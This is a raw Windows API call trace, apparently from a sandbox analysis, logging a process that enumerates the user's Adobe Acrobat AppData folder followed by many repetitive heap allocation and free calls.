[0113.713] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20dc8780, ftCreationTime.dwHighDateTime=0x1d4d11c, ftLastAccessTime.dwLowDateTime=0x2b05fb10, ftLastAccessTime.dwHighDateTime=0x1d4ca00, ftLastWriteTime.dwLowDateTime=0x2b05fb10, ftLastWriteTime.dwHighDateTime=0x1d4ca00, nFileSizeHigh=0x0, nFileSizeLow=0x3818, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WN 7uc01.swf", cAlternateFileName="WN7UC0~1.SWF")) returned 0 [0113.713] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.713] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.713] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0113.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x70) returned 0x7a481c8 [0113.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0113.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0113.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x50) returned 0x7a0da78 [0113.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0113.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1aec8 [0113.713] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.713] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05da0 [0113.713] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.713] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.714] PathFindFileNameW (pszPath="") returned="" [0113.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x80) returned 0x50ecbd8 [0113.714] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.714] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ecbd8 | out: hHeap=0x5010000) returned 1 [0113.714] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.714] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0113.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f190 [0113.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1c) returned 0x7a35bc8 [0113.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f060 [0113.714] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.714] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f190 | out: hHeap=0x5010000) returned 1 [0113.714] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe5b04330, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xe5b04330, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0113.714] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.714] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.714] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ec028 | out: hHeap=0x5010000) returned 1 [0113.714] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f190 [0113.714] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.714] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.715] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.715] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.716] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.716] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.717] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.717] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.718] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.718] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.719] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.719] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f0f8 [0113.720] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.720] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0f8 | out: hHeap=0x5010000) returned 1 